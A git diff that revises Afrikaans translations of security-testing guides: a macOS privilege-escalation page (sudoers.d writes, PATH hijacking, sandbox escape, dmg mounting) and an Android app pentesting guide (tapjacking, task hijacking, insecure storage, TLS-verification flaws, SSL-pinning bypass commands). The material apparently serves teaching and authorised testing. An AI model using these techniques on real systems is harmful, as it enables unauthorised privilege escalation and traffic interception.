Daar is egter 'n paar lêers waarvan die handtekening nie nagegaan sal word nie, hierdie het die sleutel omit in die plist, soos:
```xml
@@ -195,7 +195,7 @@ Daar is egter 'n paar lêers waarvan die handtekening nie nagegaan sal word nie,
rules2
...
-^(.*/)?\.DS_Store$
+^(.*/index.html)?\.DS_Store$omit
@@ -227,7 +227,7 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/
```
## Mount dmgs
-'n Gebruiker kan 'n pasgemaakte dmg monteer wat selfs bo-op bestaande vouers geskep is. So kan jy 'n pasgemaakte dmg-pakket met pasgemaakte inhoud skep:
+'n Gebruiker kan 'n pasgemaakte dmg monteer wat selfs bo-op sommige bestaande vouers geskep is. So kan jy 'n pasgemaakte dmg-pakket met pasgemaakte inhoud skep:
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@@ -282,11 +282,11 @@ Genereer net die skrip `/Applications/Scripts/privesc.sh` met die **opdragte** w
### Sudoers Lêer
-As jy **arbitraire skrywe** het, kan jy 'n lêer binne die gids **`/etc/sudoers.d/`** skep wat jouself **sudo** regte gee.
+As jy **arbitraire skryf** het, kan jy 'n lêer binne die gids **`/etc/sudoers.d/`** skep wat jouself **sudo** regte gee.
### PAD lêers
-Die lêer **`/etc/paths`** is een van die hoof plekke wat die PATH omgewing veranderlike vul. Jy moet root wees om dit te oorskryf, maar as 'n skrip van **privilege proses** 'n **opdrag sonder die volle pad** uitvoer, mag jy dit dalk kan **hijack** deur hierdie lêer te wysig.
+Die lêer **`/etc/paths`** is een van die hoof plekke wat die PATH omgewing veranderlike vul. Jy moet root wees om dit te oorskryf, maar as 'n skrip van **privileged process** 'n **opdrag sonder die volle pad** uitvoer, mag jy in staat wees om dit te **hijack** deur hierdie lêer te wysig.
Jy kan ook lêers in **`/etc/paths.d`** skryf om nuwe gidse in die `PATH` omgewing veranderlike te laai.
@@ -306,13 +306,13 @@ Skryf dan in `/etc/sudoers.d/lpe` die nodige konfigurasie om voorregte te verhoo
Verander dan weer die lêer `/etc/cups/cups-files.conf` deur `LogFilePerm 700` aan te dui sodat die nuwe sudoers-lêer geldig word deur `cupsctl` aan te roep.
-### Sandbox Ontsnapping
+### Sandbox Escape
-Dit is moontlik om die macOS sandbox te ontsnap met 'n FS arbitrêre skrywe. Vir sommige voorbeelde, kyk na die bladsy [macOS Auto Start](../../../../macos-auto-start-locations.md), maar 'n algemene een is om 'n Terminal voorkeurlêer in `~/Library/Preferences/com.apple.Terminal.plist` te skryf wat 'n opdrag by opstart uitvoer en dit te noem met `open`.
+Dit is moontlik om die macOS sandbox te ontsnap met 'n FS arbitrêre skrywe. Vir sommige voorbeelde, kyk na die bladsy [macOS Auto Start](../../../../macos-auto-start-locations.md), maar 'n algemene een is om 'n Terminal voorkeurlêer in `~/Library/Preferences/com.apple.Terminal.plist` te skryf wat 'n opdrag by opstart uitvoer en dit aan te roep met `open`.
## Genereer skryfbare lêers as ander gebruikers
-Dit sal 'n lêer genereer wat aan root behoort en deur my geskryf kan word ([**kode van hier**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dit mag ook as privesc werk.
+Dit sal 'n lêer genereer wat aan root behoort en deur my geskryf kan word ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dit mag ook as privesc werk:
```bash
DIRNAME=/usr/local/etc/periodic/daily
@@ -326,7 +326,7 @@ echo $FILENAME
```
## POSIX Gedeelde Geheue
-**POSIX gedeelde geheue** laat prosesse in POSIX-konforme bedryfstelsels toe om toegang te verkry tot 'n gemeenskaplike geheuegebied, wat vinniger kommunikasie vergemaklik in vergelyking met ander inter-proses kommunikasie metodes. Dit behels die skep of oopmaak van 'n gedeelde geheue objek met `shm_open()`, die instelling van sy grootte met `ftruncate()`, en die kartering daarvan in die proses se adresruimte met `mmap()`. Prosesse kan dan direk lees van en skryf na hierdie geheuegebied. Om gelyktydige toegang te bestuur en data-beskadiging te voorkom, word sinchronisasie meganismes soos mutexes of semafore dikwels gebruik. Laastens, prosesse ontkarter en sluit die gedeelde geheue met `munmap()` en `close()`, en verwyder opsioneel die geheue objek met `shm_unlink()`. Hierdie stelsel is veral effektief vir doeltreffende, vinnige IPC in omgewings waar verskeie prosesse vinnig toegang tot gedeelde data moet verkry.
+**POSIX gedeelde geheue** laat prosesse in POSIX-konforme bedryfstelsels toe om toegang te verkry tot 'n gemeenskaplike geheuegebied, wat vinniger kommunikasie vergemaklik in vergelyking met ander inter-proses kommunikasie metodes. Dit behels die skep of oopmaak van 'n gedeelde geheue objek met `shm_open()`, die instelling van sy grootte met `ftruncate()`, en die kartering daarvan in die proses se adresruimte met `mmap()`. Prosesse kan dan direk lees van en skryf na hierdie geheuegebied. Om gelyktydige toegang te bestuur en data-korrupsie te voorkom, word sinchronisasie-meganismes soos mutexes of semafore dikwels gebruik. Laastens, ontkoppel prosesse en sluit die gedeelde geheue met `munmap()` en `close()`, en verwyder opsioneel die geheue objek met `shm_unlink()`. Hierdie stelsel is veral effektief vir doeltreffende, vinnige IPC in omgewings waar verskeie prosesse vinnig toegang tot gedeelde data moet verkry.
@@ -422,13 +422,13 @@ return 0;
## macOS Bewaakte Beskrywings
-**macOS bewaakte beskrywings** is 'n sekuriteitskenmerk wat in macOS bekendgestel is om die veiligheid en betroubaarheid van **lêer beskrywing operasies** in gebruikersaansoeke te verbeter. Hierdie bewaakte beskrywings bied 'n manier om spesifieke beperkings of "wagte" met lêer beskrywings te assosieer, wat deur die kern afgedwing word.
+**macOS bewaakte beskrywings** is 'n sekuriteitskenmerk wat in macOS bekendgestel is om die veiligheid en betroubaarheid van **lêer beskrywing operasies** in gebruikers toepassings te verbeter. Hierdie bewaakte beskrywings bied 'n manier om spesifieke beperkings of "wagters" met lêer beskrywings te assosieer, wat deur die kern afgedwing word.
-Hierdie kenmerk is veral nuttig om sekere klasse van sekuriteitskwesbaarhede soos **ongeoorloofde lêer toegang** of **wedloop toestande** te voorkom. Hierdie kwesbaarhede gebeur wanneer 'n draad byvoorbeeld 'n lêer beskrywing benader wat **'n ander kwesbare draad toegang gee** of wanneer 'n lêer beskrywing **geërf** word deur 'n kwesbare kind proses. Sommige funksies wat met hierdie funksionaliteit verband hou, is:
+Hierdie kenmerk is veral nuttig om sekere klasse van sekuriteitskwesbaarhede soos **ongemagtigde lêer toegang** of **wedloop toestande** te voorkom. Hierdie kwesbaarhede gebeur wanneer 'n draad byvoorbeeld 'n lêer beskrywing benader wat **'n ander kwesbare draad toegang gee** of wanneer 'n lêer beskrywing **geërf** word deur 'n kwesbare kind proses. Sommige funksies wat met hierdie funksionaliteit verband hou, is:
-- `guarded_open_np`: Maak 'n FD met 'n wag oop
+- `guarded_open_np`: Oop 'n FD met 'n wagter
- `guarded_close_np`: Sluit dit
-- `change_fdguard_np`: Verander wagvlagte op 'n beskrywing (selfs om die wag beskerming te verwyder)
+- `change_fdguard_np`: Verander wagter vlae op 'n beskrywing (selfs om die wagter beskerming te verwyder)
## Verwysings
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md
index 312b70526..a145c21c1 100644
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
@@ -13,7 +13,7 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Dit is die hoofgereedskap wat jy nodig het om met 'n Android-toestel (geëmuleer of fisies) te verbind.\
-**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut is in staat om **lêers** in beide rigtings te **kopieer**, **toepassings** te **installeer** en **verwyder**, **skilopdragte** uit te voer, **data** te **rugsteun**, **logs** te **lees**, onder andere funksies.
+**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut is in staat om **lêers** in beide rigtings te **kopieer**, **toepassings** te **installeer** en **verwyder**, **skulpopdragte** uit te voer, **data** te **rugsteun**, **logs** te **lees**, onder andere funksies.
Kyk na die volgende lys van [**ADB Opdragte**](adb-commands.md) om te leer hoe om adb te gebruik.
@@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
-- Kombineer alle splits en basis apk's met [APKEditor](https://github.com/REAndroid/APKEditor):
+- Kombineer alle splits en basis apks met [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@@ -62,29 +62,86 @@ Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is.
Die **ondersoek van 'n toepassing se \_Manifest.xml**_\*\* en \*\*_**strings.xml**\_\*\* lêers kan potensiële sekuriteitskwesbaarhede onthul\*\*. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer se uitbreiding na .zip te hernoem en dit dan uit te pak.
-**Kwesbaarhede** wat geïdentifiseer is uit die **Manifest.xml** sluit in:
+**Kwesbaarhede** wat in die **Manifest.xml** geïdentifiseer is, sluit in:
-- **Debugbare Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
+- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde databack-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
-- **Netwerk Sekuriteit**: Pasgemaakte netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
+- **Netwerk Sekuriteit**: Aangepaste netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
- **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut.
- **Inhoud Verskaffers en LêerVerskaffers**: Blootgestelde inhoud verskaffers kan ongeoorloofde toegang of wysiging van data toelaat. Die konfigurasie van LêerVerskaffers moet ook ondersoek word.
-- **Uitsaai Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kwesbaarhede.
+- **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kwesbaarhede.
- **SDK Weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut dui die ondersteunde Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes vir sekuriteitsredes te ondersteun nie.
-Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, pasgemaakte skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
+Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, aangepaste skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
### Tapjacking
-**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
-In
+**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** geloods word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
+In werklikheid, dit is **blindings die gebruiker van weet dat hulle eintlik aksies op die slagoffer app uitvoer**.
+
+Vind meer inligting in:
+
+{{#ref}}
+tapjacking.md
+{{#endref}}
+
+### Taak Hijacking
+
+'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
+
+Meer inligting in:
+
+{{#ref}}
+android-task-hijacking.md
+{{#endref}}
+
+### Onveilige data stoor
+
+**Interne Stoor**
+
+In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat dit **gecreëer** het, **toeganklik** te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toegang** tot lêers tussen verskillende toepassings toe te laat. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
+
+1. **Statiese Analise:**
+- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel** lêers aan **onbedoelde of ongeoorloofde toegang** blootstel.
+2. **Dinamiese Analise:**
+- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, gestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
+
+**Eksterne Stoor**
+
+Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaarte, moet sekere voorsorgmaatreëls geneem word:
+
+1. **Toeganklikheid**:
+- Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry.
+2. **Sekuriteitskwessies**:
+- Gegewe die maklike toegang, word dit aanbeveel **om nie sensitiewe inligting** op eksterne stoor te stoor nie.
+- Eksterne stoor kan verwyder of deur enige toepassing benader word, wat dit minder veilig maak.
+3. **Hantering van Data van Eksterne Stoor**:
+- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom.
+- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor.
+- As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf.
+
+Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
+
+> [!NOTE]
+> Begin met Android 4.4 (**API 17**), het die SD kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry.
+
+**Sensitiewe data gestoor in duidelike teks**
+
+- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml lêers in die pad `/data/data//shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
+- **Databasisse**: Android laat elke toepassing toe om maklik sqlite databasisse in die pad `/data/data//databases/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
+
+### Gebroke TLS
+
+**Aanvaar Alle Sertifikate**
+
+Vir een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
'n Goeie manier om dit te toets, is om te probeer om die verkeer te vang met 'n proxy soos Burp sonder om Burp CA binne die toestel te magtig. Jy kan ook met Burp 'n sertifikaat vir 'n ander hostname genereer en dit gebruik.
-### Gebroke Kriptografie
+### Gebroke Kryptografie
**Swak Sleutelbestuurproses**
@@ -209,7 +266,7 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r
**Logging**
-Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
+Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** is verkieslik vir sy gebruiksgemak en leesbaarheid.
> [!WARNING]
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan hê**. So toepassings kan nie ander apps se logs toegang nie.\
@@ -217,7 +274,7 @@ Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te st
**Kopie/Plak Buffer Kaping**
-Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
+Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in aangesien **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
**Crash Logs**
@@ -227,14 +284,14 @@ As pentester, **probeer om na hierdie logs te kyk**.
**Analitiese Data Gestuur Aan 3de Partye**
-Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en na enige sensitiewe inligting te kyk wat aan derdeparty dienste gestuur word.
+Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en na te gaan of enige sensitiewe inligting aan derdeparty dienste gestuur word.
### SQLite DB's
Die meeste toepassings sal **interne SQLite databasisse** gebruik om inligting te stoor. Tydens die pentest, kyk na die **databasisse** wat geskep is, die name van **tabelle** en **kolomme** en al die **data** wat gestoor is, want jy kan **sensitiewe inligting** vind (wat 'n kwesbaarheid sou wees).\
Databasisse moet geleë wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases`.
-As die databasis vertroulike inligting stoor en is **enkripteer**, maar jy kan die **wagwoord** binne die toepassing vind, is dit steeds 'n **kwesbaarheid**.
+As die databasis vertroulike inligting stoor en is **geënkripteer** maar jy kan die **wagwoord** binne die toepassing vind, is dit steeds 'n **kwesbaarheid**.
Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema `.
@@ -268,38 +325,38 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**Sensitiewe inligting lekkasie**
-**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geëksporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
+**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geexporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
#### Tapjacking
-As tapjacking nie voorkom word nie, kan jy die geëksporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
+As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting
-[**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
+[**Lees dit as jy wil verfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
-[**Leer hoe om Content Providers met Drozer te benut.**](drozer-tutorial/index.html#content-providers)
+[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
-[**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\
+[**Lees dit as jy wil verfris wat 'n Service is.**](android-applications-basics.md#services)\
Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
-Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste geëksporteer het, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
-[**Leer hoe om Dienste met Drozer te benut.**](drozer-tutorial/index.html#services)
+Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste eksport, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
+[**Leer hoe om Dienste met Drozer te exploiteer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
-[**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
+[**Lees dit as jy wil verfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
-[**Leer hoe om Uitzendingontvangers met Drozer te benut.**](#exploiting-broadcast-receivers)
+[**Leer hoe om Uitzendingontvangers met Drozer te exploiteer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
-Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
+Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [hierdie een](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Jy kan 'n verklaarde **skema** met **adb** of 'n **blaaier** **oopmaak**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
@@ -332,13 +389,13 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk '
### Vervoer Laag Inspeksie en Verifikasie Foute
-- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oor die hoof sien en self-ondertekende sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
-- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat dit moontlik maak vir aanvallers om die data te ontsleutel.
-- **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekookies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
+- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
+- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel.
+- **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale, maar dan oor nie-veilige kanale kommunikeer vir ander transaksies. Hierdie benadering beskerm nie sensitiewe data, soos sessie koekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
#### Sertifikaat Verifikasie
-Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, bied [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding.
+Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bediener sertifikate en die aanspreek van kwesbaarhede, [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) bied omvattende leiding.
#### SSL Pinning
@@ -346,7 +403,7 @@ SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se serti
#### Verkeer Inspeksie
-Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteit Konfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteit Konfigurasie, [**verwys na hierdie tutoriaal**](make-apk-accept-ca-certificate.md).
@@ -358,7 +415,7 @@ Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om
- Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik)
-- As jy steeds dink dat daar enige verkeer is wat jy nie vasvang nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
